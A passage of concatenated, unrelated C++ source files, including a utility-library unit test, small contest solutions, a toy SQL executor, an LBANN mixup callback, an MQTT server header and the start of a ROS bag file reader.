boxutil::IsAlphaExt("abc...")); testforecho::test_true(r, "StringManip: Should be able to check bcd string", boxutil::IsBCD("1230")); testforecho::test_true(r, "StringManip: Should be able to check hex string", boxutil::IsHexStr("aabbcc")); testforecho::test_true(r, "StringManip: Should be able to check string boundaries string", boxutil::IsWithinBounds("bigstring", 2, 15)); testforecho::test_eq(r, "StringManip: Should right-trim", boxutil::RTrim("abc "), "abc"); testforecho::test_eq(r, "StringManip: Should left-trim", boxutil::LTrim(" abc"), "abc"); testforecho::test_eq(r, "StringManip: Should trim", boxutil::Trim(" abc "), "abc"); testforecho::test_eq(r, "StringManip: Should pop surrounding curly brackets", boxutil::PopSurroundingChar("{test-string}", '{', '}'), "test-string"); testforecho::test_eq(r, "StringManip: Should pop surrounding bracket", boxutil::PopSurroundingChar("[test-string", '[', '}'), "test-string"); testforecho::test_eq(r, "StringManip: Should not change anything", boxutil::PopSurroundingChar("test-string", '[', '}'), "test-string"); testforecho::test_eq(r, "StringManip: Should pop surrounding curly bracket", boxutil::PopSurroundingChar("test-string}", '{', '}'), "test-string"); testforecho::test_eq(r, "StringManip: Should not change anything", boxutil::PopSurroundingChar("test-string}", '{', ']'), "test-string}"); testforecho::test_eq(r, "StringManip: Should not change anything", boxutil::PopSurroundingChar("", '{', '}'), ""); { std::vector result = boxutil::Split("a|b|c", '|'); testforecho::test_eq(r, "StringManip: Split result's size shoud match", result.size(), static_cast(3)); testforecho::test_eq(r, "StringManip: Partial split result shoud match", result[0], "a"); testforecho::test_eq(r, "StringManip: Partial split result shoud match", result[1], "b"); testforecho::test_eq(r, "StringManip: Partial split result shoud match", result[2], "c"); } { std::vector result = boxutil::Split("one|two%three", '%'); testforecho::test_eq(r, "StringManip: Split result's size shoud match", result.size(), static_cast(2)); testforecho::test_eq(r, "StringManip: Partial split result shoud match", result[0], "one|two"); testforecho::test_eq(r, "StringManip: Partial split result shoud match", result[1], "three"); } return r; } unsigned int test_datehelper(){ unsigned int r {0}; testforecho::test_true(r, "Datehelper: Date should be valid", boxutil::DateHelper::IsValidDate(22, 6, 1997)); testforecho::test_true(r, "Datehelper: Date should be valid", boxutil::DateHelper::IsValidDate(22, 6, 1997)); testforecho::test_false(r, "Datehelper: Date should be invalid", boxutil::DateHelper::IsValidDate(32, 6, 1997)); testforecho::test_true(r, "Datehelper: Date should be valid", boxutil::DateHelper::IsValidDate("05/08/2001")); testforecho::test_false(r, "Datehelper: Date should be invalid", boxutil::DateHelper::IsValidDate("05/13/1985")); testforecho::test_eq(r, "Datehelper: Conversion should succeed", "06/03/2002", boxutil::DateHelper::ConvertFromNumbers(6, 3, 2002)); { unsigned short d{0}, m{0}, y{0}; boxutil::DateHelper::ConvertFromText("07/02/2003", d, m, y); testforecho::test_eq(r, "Datehelper: Conversion should succeed", 7, d); testforecho::test_eq(r, "Datehelper: Conversion should succeed", 2, m); testforecho::test_eq(r, "Datehelper: Conversion should succeed", 2003, y); } { unsigned short d{3}, m{4}, y{2005}; boxutil::DateHelper::ConvertFromText("nope", d, m, y); testforecho::test_neq(r, "Datehelper: Conversion should fail", 3, d); testforecho::test_neq(r, "Datehelper: Conversion should fail", 4, m); testforecho::test_neq(r, "Datehelper: Conversion should fail", 2005, y); } { boxutil::DateHelper dh{7, 80, 1978}; testforecho::test_eq(r, "Datehelper: Should be in an invalid state", dh.GetDateString(), "00/00/0000"); } { boxutil::DateHelper dh{7, 5, 1985}; testforecho::test_false(r, "Datehelper: Should fail to set bad date", dh.SetDate("35/20/2000")); } { const std::string templ {"03/03/1993"}; boxutil::DateHelper dh{templ}; testforecho::test_eq(r, "Datehelper: Init date and later fetched date should match", templ, dh.GetDateString()); } { boxutil::DateHelper dh{7, 5, 1985}; dh.SetDate("35/20/2000"); testforecho::test_eq(r, "Datehelper: Should be in an invalid state", dh.GetDateString(), "00/00/0000"); } { boxutil::DateHelper dh{7, 5, 1985}; testforecho::test_eq(r, "Datehelper: Should be in a valid state", dh.GetDateString(), "07/05/1985"); } { boxutil::DateHelper dh{}; testforecho::test_true(r, "Datehelper: Auto-built date should be valid", boxutil::DateHelper::IsValidDate(dh.GetDateString())); } { boxutil::DateHelper dh1{"01/01/2004"}; boxutil::DateHelper dh2 = dh1; testforecho::test_eq(r, "Datehelper: Should match by the attribute copy", dh1.GetDateString(), dh2.GetDateString()); boxutil::DateHelper dh3{dh2}; testforecho::test_eq(r, "Datehelper: Should match by the copy constructor", dh2.GetDateString(), dh3.GetDateString()); } { boxutil::DateHelper dh1{"01/01/2004"}; boxutil::DateHelper dh2{"01/01/2004"}; testforecho::test_true(r, "Datehelper: Dates should be equal", (dh1 == dh2) ); } { boxutil::DateHelper dh1{"01/01/2004"}; boxutil::DateHelper dh2{"02/01/2004"}; testforecho::test_false(r, "Datehelper: Dates should not be equal", (dh1 == dh2) ); } { boxutil::DateHelper dh1{"01/01/2004"}; boxutil::DateHelper dh2{"01/01/2004"}; testforecho::test_true(r, "Datehelper: First date should be equal-or-greater", (dh1 >= dh2) ); } { boxutil::DateHelper dh1{"01/01/2005"}; boxutil::DateHelper dh2{"01/01/2004"}; testforecho::test_true(r, "Datehelper: First date should be equal-or-greater", (dh1 >= dh2) ); } { boxutil::DateHelper dh1{"01/01/2003"}; boxutil::DateHelper dh2{"01/01/2004"}; testforecho::test_false(r, "Datehelper: First date should not be equal-or-greater", (dh1 >= dh2) ); } { boxutil::DateHelper dh1{"01/01/2004"}; boxutil::DateHelper dh2{"01/01/2004"}; testforecho::test_true(r, "Datehelper: First date should be equal-or-lesser", (dh1 <= dh2) ); } { boxutil::DateHelper dh1{"01/01/2001"}; boxutil::DateHelper dh2{"01/01/2004"}; testforecho::test_true(r, "Datehelper: First date should be equal-or-lesser", (dh1 <= dh2) ); } { boxutil::DateHelper dh1{"01/02/2004"}; boxutil::DateHelper dh2{"01/01/2004"}; testforecho::test_false(r, "Datehelper: First date should not be equal-or-lesser", (dh1 <= dh2) ); } { boxutil::DateHelper dh1{"05/06/2007"}; boxutil::DateHelper dh2{"05/06/2007"}; testforecho::test_false(r, "Datehelper: First date should not be greater", (dh1 > dh2) ); } { boxutil::DateHelper dh1{"05/07/2007"}; boxutil::DateHelper dh2{"05/06/2007"}; testforecho::test_true(r, "Datehelper: First date should be greater", (dh1 > dh2) ); } { boxutil::DateHelper dh1{"05/06/1997"}; boxutil::DateHelper dh2{"05/06/2007"}; testforecho::test_false(r, "Datehelper: First date should not be greater", (dh1 > dh2) ); } { boxutil::DateHelper dh1{"05/06/2007"}; boxutil::DateHelper dh2{"05/06/2007"}; testforecho::test_false(r, "Datehelper: First date should not be lesser", (dh1 < dh2) ); } { boxutil::DateHelper dh1{"05/05/2007"}; boxutil::DateHelper dh2{"05/06/2007"}; testforecho::test_true(r, "Datehelper: First date should be lesser", (dh1 < dh2) ); } { boxutil::DateHelper dh1{"05/06/2007"}; boxutil::DateHelper dh2{"05/06/1997"}; testforecho::test_false(r, "Datehelper: First date should not be lesser", (dh1 < dh2) ); } return r; } unsigned int test_conversions(){ unsigned int r {0}; testforecho::test_eq(r, "Conversions: Conversion from decstr to int should work", boxutil::DecStrToInt("-21"), -21); testforecho::test_eq(r, "Conversions: Conversion from decstr to uint should work", boxutil::DecStrToUint("4294967200"), 4294967200); testforecho::test_eq(r, "Conversions: Conversion from decstr to short should work", boxutil::DecStrToShort("-250"), -250); testforecho::test_eq(r, "Conversions: Conversion from decstr to ushort should work", boxutil::DecStrToUshort("220"), 220); testforecho::test_true(r, "Conversions: Conversion from decstr to float should work", (boxutil::DecStrToFloat("32.1") > 32.09 && boxutil::DecStrToFloat("32.1") < 32.11) ); testforecho::test_true(r, "Conversions: Conversion from decstr to double should work", (boxutil::DecStrToDouble("500.32") > 500.31 && boxutil::DecStrToDouble("500.32") < 500.33 )); testforecho::test_eq(r, "Conversions: Conversion from int to decstr should work", boxutil::IntToDecStr(-21), "-21"); testforecho::test_eq(r, "Conversions: Conversion from uint to decstr should work", boxutil::UintToDecStr(4294967200), "4294967200"); testforecho::test_eq(r, "Conversions: Conversion from short to decstr should work", boxutil::ShortToDecStr(-250), "-250"); testforecho::test_eq(r, "Conversions: Conversion from ushort to decstr should work", boxutil::UshortToDecStr(220), "220"); testforecho::test_eq(r, "Conversions: Conversion from float to decstr should work", boxutil::FloatToDecStr(32.1), "32.1"); testforecho::test_eq(r, "Conversions: Conversion from double to decstr should work", boxutil::DoubleToDecStr(500.32), "500.32"); testforecho::test_eq(r, "Conversions: Conversion from hexstr to int should work", boxutil::HexStrToInt("-28"), -40); testforecho::test_eq(r, "Conversions: Conversion from hexstr to uint should work", boxutil::HexStrToUint("15"), static_cast(21)); testforecho::test_eq(r, "Conversions: Conversion from hexstr to short should work", boxutil::HexStrToShort("-FA"), -250); testforecho::test_eq(r, "Conversions: Conversion from hexstr to ushort should work", boxutil::HexStrToUshort("DC"), 220); testforecho::test_eq(r, "Conversions: Conversion from hexstr to float should work", boxutil::HexStrToFloat("A"), 10); testforecho::test_eq(r, "Conversions: Conversion from hexstr to double should work", boxutil::HexStrToDouble("B"), 11); testforecho::test_eq(r, "Conversions: Conversion from int to hexstr should work", boxutil::IntToHexStr(-2), "-02"); testforecho::test_eq(r, "Conversions: Conversion from uint to hexstr should work", boxutil::UintToHexStr(10), "0A"); testforecho::test_eq(r, "Conversions: Conversion from short to hexstr should work", boxutil::ShortToHexStr(-1), "-01"); testforecho::test_eq(r, "Conversions: Conversion from ushort to hexstr should work", boxutil::UshortToHexStr(0xDC), "DC"); testforecho::test_eq(r, "Conversions: Conversion from float to hexstr should work", boxutil::FloatToHexStr(32.1), "32.1"); testforecho::test_eq(r, "Conversions: Conversion from double to hexstr should work", boxutil::DoubleToHexStr(500.32), "500.32"); return r; } unsigned int test_managedfile(){ unsigned int r {0}; std::string strFilename = "./testfile.txt"; testforecho::test_false(r, "ManagedFile: File should not pre-exist", boxutil::FileExists(strFilename)); boxutil::SaveFileContents(strFilename, "one"); testforecho::test_true(r, "ManagedFile: File should exist now", boxutil::FileExists(strFilename)); std::string s; testforecho::test_true(r, "ManagedFile: File should be readable", boxutil::GetFileContents(strFilename, s)); testforecho::test_eq(r, "ManagedFile: File content should match", s, "one"); testforecho::test_true(r, "ManagedFile: File should have been created", boxutil::FileExists(strFilename)); { boxutil::ManagedFile mf {strFilename}; } testforecho::test_false(r, "ManagedFile: File should have been deleted", boxutil::FileExists(strFilename)); return r; } unsigned int test_optional(){ unsigned int r {0}; { boxutil::Optional test; testforecho::test_false(r, "Optional: value should not have been set", test.IsSet()); } { boxutil::Optional test; test.SetValue(21); testforecho::test_true(r, "Optional: value should have been set", test.IsSet()); } { boxutil::Optional test; test.SetValue(21); testforecho::test_eq(r, "Optional: values should be equal", test.GetValue(), 21); } return r; } int main(int argc, char *argv[]){ (void)argc; (void)argv; unsigned int r {0}; PRINT_BREAKPOINT std::string test_string = "the-test-string"; PRINT_BREAKPOINT_STR(test_string.c_str()) int test_integer = 21; PRINT_BREAKPOINT_INT(test_integer) PRINT_BREAKPOINT_MSG("custom message: [%f]", 1.1f) r += test_timestamp(); r += test_bytearray(); r += test_bfl(); r += test_strveccont(); r += test_logger(); r += test_stringmanip(); r += test_datehelper(); r += test_conversions(); r += test_managedfile(); r += test_optional(); if (r > 0){ std::cout << r << " tests failed." << std::endl; } else { std::cout << "All tests passed." << std::endl; } return 0; } therainmak3r/dirty-laundry #include #include #include #include #include using namespace std; class ChristmasTreeDecorationDiv2 { public: int solve(vector col, vector x, vector y) { int a = 0; for (int i = 0; i < col.size()-1; i++) { if(col[x[i]-1] != col[y[i]-1]) a++; } cout << "ans is " << a << endl; return a; } }; bonventre/OfflineGeometryService/src/DetectorSystemMaker.hh1-10 #ifndef GeometryService_src_DetectorSystemMaker_hh #define GeometryService_src_DetectorSystemMaker_hh // // Construct a DetectorSystem object. // // $Id: DetectorSystemMaker.hh,v 1.6 2013/03/15 15:52:04 kutschke Exp $ // $Author: kutschke $ // $Date: 2013/03/15 15:52:04 $ // // Original author // // C++ includes #include // Mu2e includes. #include "Mu2eInterfaces/inc/Detector.hh" #include "GeometryService/inc/DetectorSystem.hh" namespace mu2e { // Forward references class SimpleConfig; class DetectorSystemMaker: virtual public Detector{ public: static std::unique_ptr make(const SimpleConfig&); }; } //namespace mu2e #endif /* GeometryService_src_DetectorSystemMaker_hh */ IrenaNiu/5300-Fossa /** * @file SQLExec.cpp - implementation of SQLExec class * @author * @see "Seattle University, CPSC5300, Spring 2020" */ #include "SQLExec.h" using namespace std; using namespace hsql; // define static data Tables *SQLExec::tables = nullptr; // make query result be printable ostream &operator<<(ostream &out, const QueryResult &qres) { if (qres.column_names != nullptr) { for (auto const &column_name : *qres.column_names) out << column_name << " "; out << endl << "+"; for (unsigned int i = 0; i < qres.column_names->size(); i++) out << "----------+"; out << endl; for (auto const &row : *qres.rows) { for (auto const &column_name : *qres.column_names) { Value value = row->at(column_name); switch (value.data_type) { case ColumnAttribute::INT: out << value.n; break; case ColumnAttribute::TEXT: out << "\"" << value.s << "\""; break; default: out << "???"; } out << " "; } out << endl; } } out << qres.message; return out; } /** * Destructor */ QueryResult::~QueryResult() { if (column_names != nullptr) delete column_names; if (column_attributes != nullptr) delete column_attributes; if (rows != nullptr) { for (auto row : *rows) delete row; delete rows; } } /** * Execute SQL statement based on statement type * @param statement SQL statement to execute * @return query execution result */ QueryResult *SQLExec::execute(const SQLStatement *statement) { // initialize _tables table, if not yet present if (SQLExec::tables == nullptr) SQLExec::tables = new Tables(); try { switch (statement->type()) { case kStmtCreate: return create((const CreateStatement *)statement); case kStmtDrop: return drop((const DropStatement *)statement); case kStmtShow: return show((const ShowStatement *)statement); default: return new QueryResult("not implemented"); } } catch (DbRelationError& e) { throw SQLExecError(string("DbRelationError: ") + e.what()); } } /** * Pull out column name and attributes from AST's column definition clause * @param col AST column definition * @param column_name returned by reference * @param column_attributes returned by reference */ void SQLExec::column_definition(const ColumnDefinition *col, Identifier &column_name, ColumnAttribute &column_attribute) { column_name = col->name; switch (col->type) { case ColumnDefinition::INT: column_attribute.set_data_type(ColumnAttribute::INT); break; case ColumnDefinition::TEXT: column_attribute.set_data_type(ColumnAttribute::TEXT); break; default: throw SQLExecError("data type not implemented"); } } /** * Create a table with a given statement * @param statement given statement for table creation * @return query execution result */ QueryResult *SQLExec::create(const CreateStatement *statement) { Identifier table_name = statement->tableName; Identifier column_name; ColumnNames column_names; ColumnAttribute column_attribute; ColumnAttributes column_attributes; for (ColumnDefinition *col : *statement->columns) { column_definition(col, column_name, column_attribute); column_names.push_back(column_name); column_attributes.push_back(column_attribute); } // update _tables and _columns ValueDict row; // ValueDict: map // handle holder for exception Handle table_handle; // Handle: pair Handle column_handle; Handles column_handles; try { // add new table info to _tables row["table_name"] = table_name; table_handle = SQLExec::tables->insert(&row); // add new columns info to _columns DbRelation &columns = SQLExec::tables->get_table(Columns::TABLE_NAME); try { for (uint i = 0; i < column_names.size(); ++i) { row["column_name"] = column_names[i]; switch (column_attributes[i].get_data_type()) { case ColumnAttribute::INT: row["data_type"] = Value("INT"); break; case ColumnAttribute::TEXT: row["data_type"] = Value("TEXT"); break; default: throw SQLExecError("data type not implemented"); } column_handle = columns.insert(&row); column_handles.push_back(column_handle); } // create table file DbRelation &table = SQLExec::tables->get_table(table_name); if (statement->ifNotExists) table.create_if_not_exists(); else table.create(); } catch (exception& e) { try { // remove added columns for (auto const handle : column_handles) columns.del(handle); } catch (...) { } throw; } } catch (exception& e) { try { // remove added table SQLExec::tables->del(table_handle); } catch (...) { } throw; } return new QueryResult("created " + table_name); } /** * Drop a table with a given statement * @param statement given statement for table removal * @return query execution result */ QueryResult *SQLExec::drop(const DropStatement *statement) { Identifier table_name = statement->name; ValueDict row; row["table_name"] = Value(table_name); DbRelation &table = SQLExec::tables->get_table(table_name); DbRelation &columns = SQLExec::tables->get_table("_columns"); Handles *column_handles = columns.select(&row); Handles *table_handle = SQLExec::tables->select(&row); try { // remove columns from _columns for (Handle handle : *column_handles) columns.del(handle); // remove table file table.drop(); // remove table from _table SQLExec::tables->del(*table_handle->begin()); } catch (...) { delete table_handle; delete column_handles; throw SQLExecError("table deletion failed"); } delete table_handle; delete column_handles; return new QueryResult("dropped " + table_name); } /** * SHOW Query type based on statement by user call * @param statement given statement for show option * @return query execution result */ QueryResult *SQLExec::show(const ShowStatement *statement) { switch (statement->type) { case ShowStatement::kTables: return show_tables(); case ShowStatement::kColumns: return show_columns(statement); default: throw SQLExecError("Invalid SHOW type. Only show tables or columns."); } } /** * SHOW tables of a schema * @return query execution result */ QueryResult *SQLExec::show_tables() { //Get columns for a specific table ColumnNames *column_names = new ColumnNames; column_names->push_back("table_name"); ColumnAttributes *column_attributes = new ColumnAttributes; column_attributes->push_back(ColumnAttribute(ColumnAttribute::TEXT)); Handles *handles = SQLExec::tables->select(); // Minus the "_tables" and "_columns". Number of returned rows in result. u_long number_of_rows = handles->size() - 2; ValueDicts *rows = new ValueDicts; for (auto const &handle : *handles) { ValueDict *row = SQLExec::tables->project(handle, column_names); // Add tables only if not "_tables" or "_columns" if (row->at("table_name").s != Tables::TABLE_NAME && row->at("table_name").s != Columns::TABLE_NAME) rows->push_back(row); } delete handles; return new QueryResult(column_names, column_attributes, rows, "successfully returned " + to_string(number_of_rows) + " rows"); } /** * SHOW columns of a table * @param statement given statement for selected table * @return query execution result */ QueryResult *SQLExec::show_columns(const ShowStatement *statement) { //Get tables DbRelation &columns = SQLExec::tables->get_table(Columns::TABLE_NAME); //Add column names with the table name, column name, and data type ColumnNames *column_names = new ColumnNames; column_names->push_back("table_name"); column_names->push_back("column_name"); column_names->push_back("data_type"); ColumnAttributes *column_attributes = new ColumnAttributes; column_attributes->push_back(ColumnAttribute(ColumnAttribute::TEXT)); //Get columns from specific table in statement ValueDict where; where["table_name"] = Value(statement->tableName); Handles *handles = columns.select(&where); u_long number_of_rows = handles->size(); // Number of returned rows in result ValueDicts *rows = new ValueDicts; for (auto const &handle : *handles) { ValueDict *row = columns.project(handle, column_names); rows->push_back(row); } delete handles; return new QueryResult(column_names, column_attributes, rows, "successfully returned " + to_string(number_of_rows) + " rows"); } Algorithms/1260.Shift_2D_Grid.cpp class Solution { public: vector> shiftGrid(vector>& ar, int k) { int n = ar.size(); int m = ar[0].size(); vector res(n*m); for( int i = 0 ; i < n ; i++ ) for( int j = 0 ; j < m ; j++ ) res[(i*m+j+k)%(n*m)] = ar[i][j]; for( int i = 0 ; i < n ; i++ ) for( int j = 0 ; j < m ; j++ ) ar[i][j] = res[i*m+j]; return ar; } };src/callbacks/mixup.cpp //////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2014-2019, Lawrence Livermore National Security, LLC. // Produced at the Lawrence Livermore National Laboratory. // Written by the LBANN Research Team (, et al.) listed in // the CONTRIBUTORS file. <> // // LLNL-CODE-697807. // All rights reserved. // // This file is part of LBANN: Livermore Big Artificial Neural Network // Toolkit. For details, see http://software.llnl.gov/LBANN or // https://github.com/LLNL/LBANN. // // Licensed under the Apache License, Version 2.0 (the "Licensee"); you // may not use this file except in compliance with the License. You may // obtain a copy of the License at: // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or // implied. See the License for the specific language governing // permissions and limitations under the license. //////////////////////////////////////////////////////////////////////////////// #include #include "lbann/callbacks/mixup.hpp" #include "lbann/layers/data_type_layer.hpp" #include "lbann/proto/proto_common.hpp" #include "lbann/utils/beta.hpp" #include "lbann/utils/exception.hpp" #include "lbann/utils/serialize.hpp" #include #include namespace lbann { namespace callback { mixup::mixup() : mixup({}, 0) {} template void mixup::serialize(Archive & ar) { ar(::cereal::make_nvp( "BaseCallback", ::cereal::base_class(this)), CEREAL_NVP(m_layers), CEREAL_NVP(m_alpha)); } void mixup::on_forward_prop_end(model *m, Layer *l) { if (!m_layers.count(l->get_name())) { return; } const auto& c = dynamic_cast(m->get_execution_context()); if (c.get_execution_mode() != execution_mode::training) { return; // No mixup outside of training. } auto* dtl = dynamic_cast*>(l); auto& samples_orig = dtl->get_local_activations(0); auto& labels_orig = dtl->get_local_activations(1); if (samples_orig.GetDevice() != El::Device::CPU || labels_orig.GetDevice() != El::Device::CPU) { LBANN_ERROR("Mixup requires CPU data."); } // Copy samples. // Assumes data are on CPU. CPUMat samples, labels; El::Copy(samples_orig, samples); El::Copy(labels_orig, labels); El::Int mbsize = samples.Width(); const El::Int samples_height = samples.Height(); const El::Int labels_height = labels.Height(); auto& gen = get_fast_generator(); beta_distribution dist(m_alpha, m_alpha); // For now, data must be on the CPU. if (samples.GetDevice() != El::Device::CPU || labels.GetDevice() != El::Device::CPU) { LBANN_ERROR("mixup only works with CPU data"); } // Decide how to mix the mini-batch. std::vector shuffled_indices(mbsize); std::iota(shuffled_indices.begin(), shuffled_indices.end(), 0); std::shuffle(shuffled_indices.begin(), shuffled_indices.end(), gen); LBANN_OMP_PARALLEL_FOR for (El::Int i = 0; i < mbsize; ++i) { const El::Int j = shuffled_indices[i]; if (i == j) { continue; } float lambda = dist(gen); lambda = std::max(lambda, 1.0f - lambda); const float lambda_sub = 1.0f - lambda; const DataType* __restrict__ x1_buf = samples.LockedBuffer(0, i); const DataType* __restrict__ x2_buf = samples.LockedBuffer(0, j); DataType* __restrict__ x = samples_orig.Buffer(0, i); const DataType* __restrict__ y1_buf = labels.LockedBuffer(0, i); const DataType* __restrict__ y2_buf = labels.LockedBuffer(0, j); DataType* __restrict__ y = labels_orig.Buffer(0, i); for (El::Int k = 0; k < samples_height; ++k) { x[k] = lambda*x1_buf[k] + lambda_sub*x2_buf[k]; } for (El::Int k = 0; k < labels_height; ++k) { y[k] = lambda*y1_buf[k] + lambda_sub*y2_buf[k]; } } } std::unique_ptr build_mixup_callback_from_pbuf( const google::protobuf::Message& proto_msg, const std::shared_ptr&) { const auto& params = dynamic_cast(proto_msg); const auto& layers_list = parse_list(params.layers()); std::unordered_set layers(layers_list.begin(), layers_list.end()); return make_unique(layers, params.alpha()); } } // namespace callback } // namespace lbann #define LBANN_CLASS_NAME callback::mixup #include 0 #if !defined _ELROND_TEST_TYPES_HPP #define _ELROND_TEST_TYPES_HPP #include "elrond_ext.hpp" #ifndef GENERIC_STD_PLATFORM #error "The Elrond Test Library requires the GENERIC_STD_PLATFORM macro" #endif #ifndef ELROND_WITH_LAMBDA_TYPE #error "The Elrond Test Library requires the ELROND_WITH_LAMBDA_TYPE macro" #endif #ifndef ELROND_WITH_STR_TYPE #error "The Elrond Test Library requires the ELROND_WITH_STR_TYPE macro" #endif #include #include #include #include #include namespace elrond { namespace test { class ConfigMapTest; class RuntimeTest; class RxChannelTest; class TxChannelTest; class ChannelManagerTest; class DataLinkTest; class InputTest; class InputListenerTest; class InputTriggerTest; class GpioTest; template class GpioPinTest; class ConsoleTest; class ExternalModuleTest; // GPIO types using DOutPinTest = GpioPinTest; using DInPDPinTest = GpioPinTest; using DInPUPinTest = GpioPinTest; using AInPinTest = GpioPinTest; using ServoPinTest = GpioPinTest; using PwmPinTest = GpioPinTest; template inline bool baseOf(const T*) { return std::is_base_of::value; } template inline bool instanceOf(B const* o) { return dynamic_cast(o) != nullptr; } } } #endif lib/server/main.hpp // // Created by pmqtt on 22.03.20. // #ifndef PMQ_MAIN_HPP #define PMQ_MAIN_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include static auto create_plain_connection_fatory(const pmq::config & cfg){ return std::make_unique(cfg); } static auto create_ssl_connection_fatory(const pmq::config & cfg){ return std::make_unique(cfg); } static auto create_plain_ssl_connection_fatory(const pmq::config & cfg){ return std::make_unique(cfg); } static pmq::client_creator create_client_creator(){ pmq::client_creator creator; creator.bind_creator("plain" , create_plain_connection_fatory); creator.bind_creator("tls" , create_ssl_connection_fatory); creator.bind_creator("plain-tls", create_plain_ssl_connection_fatory); return creator; } std::unique_ptr create_client_handler( std::shared_ptr storage_service, pmq::config &conf){ std::shared_ptr login_creator = std::make_shared(); storage_service->insert_configuration_for_subscribers(conf.get_client_config()); std::shared_ptr qos_factory = std::make_shared(); return std::make_unique( login_creator, qos_factory, storage_service, conf ); } #ifdef RESTAPI static void init_rest_api(pmq::server & server,pmq::config & conf,std::shared_ptr & storage_service){ const std::string rest_api_address = "http://localhost:"+std::to_string(conf.get_rest_port()); BOOST_LOG_TRIVIAL(info)<< "START REST API: "<< rest_api_address; pmq::on_initialize(rest_api_address,storage_service); } #endif #endif //PMQ_MAIN_HPP // Fast native bag reader // Author: <> #include "bag_reader.h" #include #include #include #include #include namespace { using Exception = rosbag_fancy::BagReader::Exception; struct Span { uint8_t* start; std::size_t size; }; struct Record { uint8_t* headerBegin; uint32_t headerSize; uint8_t* dataBegin; uint32_t dataSize; uint8_t* end; std::map headers; uint8_t op; template T integralHeader(const std::string& name) { auto it = headers.find(name); if(it == headers.end()) throw Exception{fmt::format("Could not find header '{}' in record of type {}\n", name, op)}; if(it->second.size != sizeof(T)) throw Exception{fmt::format("Header '{}' has wrong size {} (expected {})\n", name, it->second.size, sizeof(T))}; T ret; std::memcpy(&ret, it->second.start, sizeof(T)); return ret; } std::string stringHeader(const std::string& name) { auto it = headers.find(name); if(it == headers.end()) throw Exception{fmt::format("Could not find header '{}' in record of type {}\n", name, op)}; return {reinterpret_cast(it->second.start), it->second.size}; } }; struct Chunk { struct ConnectionInfo { std::uint32_t id; std::uint32_t msgCount; }; static_assert(sizeof(ConnectionInfo) == 8, "ConnectionInfo should have size 8"); uint8_t* chunkStart; ros::Time startTime; ros::Time endTime; std::vector connectionInfos; }; std::map readHeader(uint8_t* base, std::size_t remainingSize) { std::map ret; while(remainingSize > 0) { if(remainingSize < 4) throw Exception{"Record too small"}; uint32_t entrySize; std::memcpy(&entrySize, base, 4); base += 4; remainingSize -= 4; // Find '=' character auto* equal = reinterpret_cast(std::memchr(base, '=', entrySize)); if(!equal) throw Exception{"Invalid header map entry"}; ret[std::string(reinterpret_cast(base), equal - base)] = Span{equal+1, static_cast(entrySize - 1 - (equal - base))}; base += entrySize; remainingSize -= entrySize; } return ret; } Record readRecord(uint8_t* base, std::size_t remainingSize) { Record record; if(remainingSize < 4) throw Exception{"Record too small"}; std::memcpy(&record.headerSize, base, 4); remainingSize -= 4; base += 4; if(remainingSize < record.headerSize) throw Exception{"Record too small"}; record.headerBegin = base; base += record.headerSize; remainingSize -= record.headerSize; if(remainingSize < 4) throw Exception{"Record too small"}; std::memcpy(&record.dataSize, base, 4); remainingSize -= 4; base += 4; if(remainingSize < record.dataSize) throw Exception{"Record too small"}; record.dataBegin = base; record.end = base + record.dataSize; // Parse header record.headers = readHeader(record.headerBegin, record.headerSize); auto it = record.headers.find("op"); if(it == record.headers.end()) throw Exception{"Record without op header"}; if(it->second.size != 1) throw Exception{fmt::format("op header has invalid size {}", it->second.size)}; record.op = it->second.start[0]; return record; } class MappedFile { public: explicit MappedFile(const std::string& file) { m_fd = open(file.c_str(), O_RDONLY); if(m_fd < 0) throw Exception{fmt::format("Could not open file: {}", strerror(errno))}; // Measure size m_size = lseek(m_fd, 0, SEEK_END); if(m_size < 0) { close(m_fd); throw Exception{fmt::format("Could not seek: {}", strerror(errno))}; } lseek(m_fd, 0, SEEK_SET); m_data = reinterpret_cast(mmap(nullptr, m_size, PROT_READ, MAP_PRIVATE, m_fd, 0)); if(m_data == MAP_FAILED) { close(m_fd); throw Exception{fmt::format("Could not mmap() bagfile: {}", strerror(errno))}; } } ~MappedFile() { munmap(m_data, m_size); close(m_fd); } off_t size() const { return m_size; } void* data() { return m_data; } private: int m_fd; void* m_data; off_t m_size; }; } template <> struct fmt::formatter: formatter { template auto format(Span c, FormatContext& ctx) { if(std::all_of(c.start, c.start + c.size, [](uint8_t c){return std::isprint(c);})) return formatter::format(string_view(reinterpret_cast(c.start), c.size), ctx); else { std::stringstream s; for(std::size_t i = 0; i < c.size; ++i) { if(i != 0) fmt::print(s, " "); fmt::print(s, "{:02X}", c.start[i]); } return formatter::format(string_view(s.str()), ctx); } } }; namespace rosbag_fancy { class BagReader::Private { public: explicit Private(const std::string& filename) : file{filename} {} MappedFile file; off_t size; uint8_t* data; std::vector chunks; std::map connections; std::map> connectionsForTopic; ros::Time startTime; ros::Time endTime; }; BagReader::BagReader(const std::string& filename) : m_d{std::make_unique(filename)} { m_d->data = reinterpret_cast(m_d->file.data()); m_d->size = m_d->file.size(); // Read version line std::string versionLine; uint8_t* bagHeaderBegin{}; { constexpr int MAX_VERSION_LENGTH = 20; auto* newline = reinterpret_cast(std::memchr( m_d->data, '\n', std::min(m_d->size, MAX_VERSION_LENGTH)) ); if(!newline) throw Exception{fmt::format("Could not read version line\n")}; versionLine = std::string(reinterpret_cast(m_d->data), newline - m_d->data); bagHeaderBegin = newline + 1; } if(versionLine != "#ROSBAG V2.0") throw Exception{"I can't read this file (I can only read ROSBAG V2.0"}; Record bagHeader = readRecord(bagHeaderBegin, m_d->size - (bagHeaderBegin - m_d->data)); if(bagHeader.op != 0x03) throw Exception{"First record is not a bag header\n"}; std::uint64_t indexPos = bagHeader.integralHeader("index_pos"); std::uint32_t connectionCount = bagHeader.integralHeader("conn_count"); std::uint32_t chunkCount = bagHeader.integralHeader("chunk_count"); if(indexPos >= static_cast(m_d->size)) throw Exception{fmt::format("Index position is too large: {} vs data size {}", indexPos, m_d->size)}; // Read all index records uint8_t* rptr = m_d->data + indexPos; std::size_t remaining = m_d->size - indexPos; // Connection records for(std::size_t i = 0; i < connectionCount; ++i) { Record rec = readRecord(rptr, remaining); if(rec.op != 7) throw Exception{"Expected connection record"}; Record recData; recData.headers = readHeader(rec.dataBegin, rec.dataSize); Connection con; con.id = 